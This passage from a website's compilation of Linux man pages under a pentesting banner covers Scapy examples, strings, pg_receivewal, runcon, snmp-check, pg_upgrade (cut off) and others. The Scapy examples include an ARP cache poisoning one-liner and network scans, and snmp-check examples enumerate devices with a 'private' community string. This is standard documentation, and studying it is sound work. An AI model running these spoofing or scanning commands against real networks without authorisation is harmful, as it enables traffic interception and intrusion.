Packet sniffing and dissection (with a bpf filter or tshark-like output):

a=sniff(filter="tcp port 110")
a=sniff(prn = lambda x: x.show) 

Sniffed packet re-emission:

a=sniff(filter="tcp port 110")
sendp(a)

Pcap file packet re-emission:

sendp(rdpcap("file.cap"))

Manual TCP traceroute:

sr(IP(dst="www.google.com", ttl=(1,30))/TCP(seq=RandInt(), sport=RandShort(), dport=dport)

Protocol scan:

sr(IP(dst="172.16.1.28", proto=(1,254)))

ARP ping:

srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="172.16.1.1/24"))

ACK scan:

sr(IP(dst="172.16.1.28")/TCP(dport=(1,1024), flags="A"))

Passive OS fingerprinting:

sniff(prn=prnp0f) 

Active OS fingerprinting:

nmap_fp("172.16.1.232")

ARP cache poisoning:

sendp(Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target))

Reporting:

report_ports("192.168.2.34", (20,30))

SEE ALSO

The official website: https://scapy.net/
The GitHub Development repository: https://github.com/secdev/scapy/
The official documentation: https://scapy.readthedocs.io/en/latest/

BUGS

Does not give the right source IP for routes that use interface aliases.

May miss packets under heavy load. This is a restriction from python itself

Session saving is limited by Python ability to marshal objects. As a consequence, lambda functions and generators can’t be saved, which seriously reduce the usefulness of this feature.

BPF filters don’t work on Point-to-point interfaces.

AUTHOR

Philippe Biondi and the Scapy community.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

498 - Linux cli command i686-w64-mingw32-strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-strings and provides detailed information about the command i686-w64-mingw32-strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-strings.

NAME 🖥️ i686-w64-mingw32-strings 🖥️

print the sequences of printable characters in files

SYNOPSIS

strings [-afovV] [-min-len] [-n min-len] [–bytes=min-len] [-t radix] [–radix=radix] [-e encoding] [–encoding=encoding] [-U method] [–unicode=method] [-] [–all] [–print-file-name] [-T bfdname] [–target=bfdname] [-w] [–include-all-whitespace] [-s] [–output-separator sep_string] [–help] [–version] file

DESCRIPTION

For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character.

Depending upon how the strings program was configured it will default to either displaying all the printable sequences that it can find in each file, or only those sequences that are in loadable, initialized data sections. If the file type is unrecognizable, or if strings is reading from stdin then it will always display all of the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

OPTIONS

-a

–all

Scan the whole file, regardless of what sections it contains or whether those sections are loaded or initialized. Normally this is the default behaviour, but strings can be configured so that the -d is the default instead. The - option is position dependent and forces strings to perform full scans of any file that is mentioned after the - on the command line, even if the -d option has been specified.

-d

–data

Only print strings from initialized, loaded data sections in the file. This may reduce the amount of garbage in the output, but it also exposes the strings program to any security flaws that may be present in the BFD library used to scan and load sections. Strings can be configured so that this option is the default behaviour. In such cases the -a option can be used to avoid using the BFD library and instead just print all of the strings found in the file.

-f

–print-file-name

Print the name of the file before each string.

–help
Print a summary of the program usage on the standard output and exit.

-min-len

-n min-len

–bytes=min-len

Print sequences of displayable characters that are at least min-len characters long. If not specified a default minimum length of 4 is used. The distinction between displayable and non-displayable characters depends upon the setting of the -e and -U options. Sequences are always terminated at control characters such as new-line and carriage-return, but not the tab character.

-o
Like -t o. Some other versions of strings have -o act like -t d instead. Since we can not be compatible with both ways, we simply chose one.

-t radix

–radix=radix

Print the offset within the file before each string. The single character argument specifies the radix of the offset—o for octal, x for hexadecimal, or d for decimal.

-e encoding

–encoding=encoding

Select the character encoding of the strings that are to be found. Possible values for encoding are: s = single-7-bit-byte characters (default), S = single-8-bit-byte characters, b = 16-bit bigendian, l = 16-bit littleendian, B = 32-bit bigendian, L = 32-bit littleendian. Useful for finding wide character strings. (l and b apply to, for example, Unicode UTF-16/UCS-2 encodings).

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment, and instead rely upon the setting of the –encoding option. The other values for this option automatically enable –encoding=S. The –unicode=invalid option treats them as non-graphic characters and hence not part of a valid string. All the remaining options treat them as valid string characters. The –unicode=locale option displays them in the current locale, which may or may not support UTF-8 encoding. The –unicode=hex option displays them as hex byte sequences enclosed between <> characters. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-T bfdname

–target=bfdname

Specify an object code format other than your system’s default format.

-v

-V

–version

Print the program version number on the standard output and exit.

-w

–include-all-whitespace

By default tab and space characters are included in the strings that are displayed, but other whitespace characters, such a newlines and carriage returns, are not. The -w option changes this so that all whitespace characters are considered to be part of a string.

-s

–output-separator

By default, output strings are delimited by a new-line. This option allows you to supply any string to be used as the output record separator. Useful with –include-all-whitespace where strings may contain new-lines internally.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), objdump (1), ranlib (1), readelf (1) and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

499 - Linux cli command pg_receivewal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_receivewal and provides detailed information about the command pg_receivewal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_receivewal.

NAME 🖥️ pg_receivewal 🖥️

stream write-ahead logs from a PostgreSQL server

SYNOPSIS

pg_receivewal [option…]

DESCRIPTION

pg_receivewal is used to stream the write-ahead log from a running PostgreSQL cluster. The write-ahead log is streamed using the streaming replication protocol, and is written to a local directory of files. This directory can be used as the archive location for doing a restore using point-in-time recovery (see Section 26.3).

pg_receivewal streams the write-ahead log in real time as its being generated on the server, and does not wait for segments to complete like archive_command and archive_library do. For this reason, it is not necessary to set archive_timeout when using pg_receivewal.

Unlike the WAL receiver of a PostgreSQL standby server, pg_receivewal by default flushes WAL data only when a WAL file is closed. The option –synchronous must be specified to flush WAL data in real time. Since pg_receivewal does not apply WAL, you should not allow it to become a synchronous standby when synchronous_commit equals remote_apply. If it does, it will appear to be a standby that never catches up, and will cause transaction commits to block. To avoid this, you should either configure an appropriate value for synchronous_standby_names, or specify application_name for pg_receivewal that does not match it, or change the value of synchronous_commit to something other than remote_apply.

The write-ahead log is streamed over a regular PostgreSQL connection and uses the replication protocol. The connection must be made with a user having REPLICATION permissions (see Section 22.2) or a superuser, and pg_hba.conf must permit the replication connection. The server must also be configured with max_wal_senders set high enough to leave at least one session available for the stream.

The starting point of the write-ahead log streaming is calculated when pg_receivewal starts:

1.

First, scan the directory where the WAL segment files are written and find the newest completed segment file, using as the starting point the beginning of the next WAL segment file.

2.

If a starting point cannot be calculated with the previous method, and if a replication slot is used, an extra READ_REPLICATION_SLOT command is issued to retrieve the slots restart_lsn to use as the starting point. This option is only available when streaming write-ahead logs from PostgreSQL 15 and up.

3.

If a starting point cannot be calculated with the previous method, the latest WAL flush location is used as reported by the server from an IDENTIFY_SYSTEM command.

If the connection is lost, or if it cannot be initially established, with a non-fatal error, pg_receivewal will retry the connection indefinitely, and reestablish streaming as soon as possible. To avoid this behavior, use the -n parameter.

In the absence of fatal errors, pg_receivewal will run until terminated by the SIGINT (Control+C) or SIGTERM signal.

OPTIONS

-D directory
**–directory=**directory

Directory to write the output to.

This parameter is required.

-E lsn
**–endpos=**lsn

Automatically stop replication and exit with normal exit status 0 when receiving reaches the specified LSN.

If there is a record with LSN exactly equal to lsn, the record will be processed.

–if-not-exists

Do not error out when –create-slot is specified and a slot with the specified name already exists.

-n
–no-loop

Dont loop on connection errors. Instead, exit right away with an error.

–no-sync

This option causes pg_receivewal to not force WAL data to be flushed to disk. This is faster, but means that a subsequent operating system crash can leave the WAL segments corrupt. Generally, this option is useful for testing but should not be used when doing WAL archiving on a production deployment.

This option is incompatible with –synchronous.

-s interval
**–status-interval=**interval

Specifies the number of seconds between status packets sent back to the server. This allows for easier monitoring of the progress from server. A value of zero disables the periodic status updates completely, although an update will still be sent when requested by the server, to avoid timeout disconnect. The default value is 10 seconds.

-S slotname
**–slot=**slotname

Require pg_receivewal to use an existing replication slot (see Section 27.2.6). When this option is used, pg_receivewal will report a flush position to the server, indicating when each segment has been synchronized to disk so that the server can remove that segment if it is not otherwise needed.

When the replication client of pg_receivewal is configured on the server as a synchronous standby, then using a replication slot will report the flush position to the server, but only when a WAL file is closed. Therefore, that configuration will cause transactions on the primary to wait for a long time and effectively not work satisfactorily. The option –synchronous (see below) must be specified in addition to make this work correctly.

–synchronous

Flush the WAL data to disk immediately after it has been received. Also send a status packet back to the server immediately after flushing, regardless of –status-interval.

This option should be specified if the replication client of pg_receivewal is configured on the server as a synchronous standby, to ensure that timely feedback is sent to the server.

-v
–verbose

Enables verbose mode.

-Z level
-Z method**[:detail]**
**–compress=**level
–compress=method[:detail]

Enables compression of write-ahead logs.

The compression method can be set to gzip, lz4 (if PostgreSQL was compiled with –with-lz4) or none for no compression. A compression detail string can optionally be specified. If the detail string is an integer, it specifies the compression level. Otherwise, it should be a comma-separated list of items, each of the form keyword or keyword=value. Currently, the only supported keyword is level.

If no compression level is specified, the default compression level will be used. If only a level is specified without mentioning an algorithm, gzip compression will be used if the level is greater than 0, and no compression will be used if the level is 0.

The suffix .gz will automatically be added to all filenames when using gzip, and the suffix .lz4 is added when using lz4.

The following command-line options control the database connection parameters.

-d connstr
**–dbname=**connstr

Specifies parameters used to connect to the server, as a connection string; these will override any conflicting command line options.

The option is called –dbname for consistency with other client applications, but because pg_receivewal doesnt connect to any particular database in the cluster, database name in the connection string will be ignored.

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_receivewal to prompt for a password before connecting to a database.

This option is never essential, since pg_receivewal will automatically prompt for a password if the server demands password authentication. However, pg_receivewal will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

pg_receivewal can perform one of the two following actions in order to control physical replication slots:

–create-slot

Create a new physical replication slot with the name specified in –slot, then exit.

–drop-slot

Drop the replication slot with the name specified in –slot, then exit.

Other options are also available:

-V
–version

Print the pg_receivewal version and exit.

-?
–help

Show help about pg_receivewal command line arguments, and exit.

EXIT STATUS

pg_receivewal will exit with status 0 when terminated by the SIGINT or SIGTERM signal. (That is the normal way to end it. Hence it is not an error.) For fatal errors or other signals, the exit status will be nonzero.

ENVIRONMENT

This utility, like most other PostgreSQL utilities, uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

When using pg_receivewal instead of archive_command or archive_library as the main WAL backup method, it is strongly recommended to use replication slots. Otherwise, the server is free to recycle or remove write-ahead log files before they are backed up, because it does not have any information, either from archive_command or archive_library or the replication slots, about how far the WAL stream has been archived. Note, however, that a replication slot will fill up the servers disk space if the receiver does not keep up with fetching the WAL data.

pg_receivewal will preserve group permissions on the received WAL files if group permissions are enabled on the source cluster.

EXAMPLES

To stream the write-ahead log from the server at mydbserver and store it in the local directory /usr/local/pgsql/archive:

$ pg_receivewal -h mydbserver -D /usr/local/pgsql/archive

SEE ALSO

pg_basebackup(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

500 - Linux cli command ts_verify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_verify and provides detailed information about the command ts_verify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_verify.

NAME 🖥️ ts_verify 🖥️

A basic test routine for tslib’s API.

SYNOPSIS

ts_print_mt [OPTION]

DESCRIPTION

ts_verify runs through tslib’s API and prints test results.

-i, –idev

Explicitly choose the original input event device for tslib to use. Default: the environment variable TSLIB_TSDEVICE’s value.

-h, –help

Print usage help and exit.

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

501 - Linux cli command pbmtowbmp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtowbmp and provides detailed information about the command pbmtowbmp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtowbmp.

.

NAME 🖥️ pbmtowbmp 🖥️

convert a PBM image to a wireless bitmap (wbmp) file

SYNOPSIS

pbmtowbmp [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtowbmp reads a PBM image as input and produces a wbmp file as output.

OPTIONS

There are no command line options defined specifically for pbmtowbmp, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

LIMITATIONS

pbmtowbmp can generate only WBMP type 0. This is the only type specified in the WAP 1.1 specifications.

SEE ALSO

pbm(1) , wbmptopbm(1) ,

Wireless Application Environment Specification.

AUTHOR

Copyright (C) 1999 Terje Sannum <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtowbmp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

502 - Linux cli command runcon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command runcon and provides detailed information about the command runcon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the runcon.

NAME 🖥️ runcon 🖥️

run command with specified security context

SYNOPSIS

runcon CONTEXT COMMAND [args]
runcon [ -c ] [-u USER] [-r ROLE] [-t TYPE] [-l RANGE] COMMAND [args]

DESCRIPTION

Run COMMAND with completely-specified CONTEXT, or with current or transitioned security context modified by one or more of LEVEL, ROLE, TYPE, and USER.

If none of -c, -t, -u, -r, or -l, is specified, the first argument is used as the complete context. Any additional arguments after COMMAND are interpreted as arguments to the command.

Note that only carefully-chosen contexts are likely to successfully run.

Run a program in a different SELinux security context. With neither CONTEXT nor COMMAND, print the current security context.

Mandatory arguments to long options are mandatory for short options too.

CONTEXT
Complete security context

-c, –compute
compute process transition context before modifying

-t, –type=TYPE
type (for same role as parent)

-u, –user=USER
user identity

-r, –role=ROLE
role

-l, –range=RANGE
levelrange

–help
display this help and exit

–version
output version information and exit

Exit status:

125
if the runcon command itself fails

126
if COMMAND is found but cannot be invoked

127
if COMMAND cannot be found

-
the exit status of COMMAND otherwise

AUTHOR

Written by Russell Coker.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/runcon>
or available locally via: info ‘(coreutils) runcon invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

503 - Linux cli command snmp-check

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmp-check and provides detailed information about the command snmp-check, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmp-check.

NAME 🖥️ snmp-check 🖥️

check - SNMP device enumerator

SYNOPSIS

snmp-check [options] [target IP address]

OPTIONS

-p, –port : SNMP port; default port is 161;
-c, –community: SNMP community; default is public;
-v, –version : SNMP version (1,2c); default is 1;
-w, –write : detect write access (separate action by enumeration);
-d, –disable_tcp : disable ‘TCP connections’ enumeration!
-t, –timeout : timeout in seconds; default is 5;
-r, –retries : request retries; default is 1;
-i, –info : show script version;
-h, –help : show help menu;

DESCRIPTION

snmp-check allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring.

EXAMPLE

Query private community string
snmp-check -c private 192.168.1.1

Query SNMPv2
snmp-check -v 2c 192.168.1.1

Query changing timeout
snmp-check -t 40 -c private 192.168.1.1

SEE ALSO

snmpcmd(1), snmpbulkwalk(1), snmpwalk(1), snmptest(1)

AUTHOR

Matteo Cantoni

NOTES

Homepage
http://www.nothink.org/codes/snmpcheck/

COPYRIGHT

Copyright (c) 2005-2015 by Matteo Cantoni
Distributed under GPL license.
http://www.gnu.org/licenses/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

504 - Linux cli command mtrace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mtrace and provides detailed information about the command mtrace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mtrace.

NAME 🖥️ mtrace 🖥️

interpret the malloc trace log

SYNOPSIS

mtrace [option]... [binary] mtracedata

DESCRIPTION

mtrace is a Perl script used to interpret and provide human readable output of the trace log contained in the file mtracedata, whose contents were produced by mtrace(3). If binary is provided, the output of mtrace also contains the source file name with line number information for problem locations (assuming that binary was compiled with debugging information).

For more information about the mtrace(3) function and mtrace script usage, see mtrace(3).

OPTIONS

–help
Print help and exit.

–version
Print version information and exit.

BUGS

For bug reporting instructions, please see: .

SEE ALSO

memusage(1), mtrace(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

505 - Linux cli command platex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command platex-dev and provides detailed information about the command platex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the platex-dev.

NAME 🖥️ platex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

506 - Linux cli command pg_upgrade

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_upgrade and provides detailed information about the command pg_upgrade, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_upgrade.

NAME 🖥️ pg_upgrade 🖥️

upgrade a PostgreSQL server instance

SYNOPSIS

pg_upgrade -b oldbindir [-B newbindir] -d oldconfigdir -D newconfigdir [option…]

DESCRIPTION

pg_upgrade (formerly called pg_migrator) allows data stored in PostgreSQL data files to be upgraded to a later PostgreSQL major version without the data dump/restore typically required for major version upgrades, e.g., from 12.14 to 13.10 or from 14.9 to 15.5. It is not required for minor version upgrades, e.g., from 12.7 to 12.8 or from 14.1 to 14.5.

Major PostgreSQL releases regularly add new features that often change the layout of the system tables, but the internal data storage format rarely changes. pg_upgrade uses this fact to perform rapid upgrades by creating new system tables and simply reusing the old user data files. If a future major release ever changes the data storage format in a way that makes the old data format unreadable, pg_upgrade will not be usable for such upgrades. (The community will attempt to avoid such situations.)

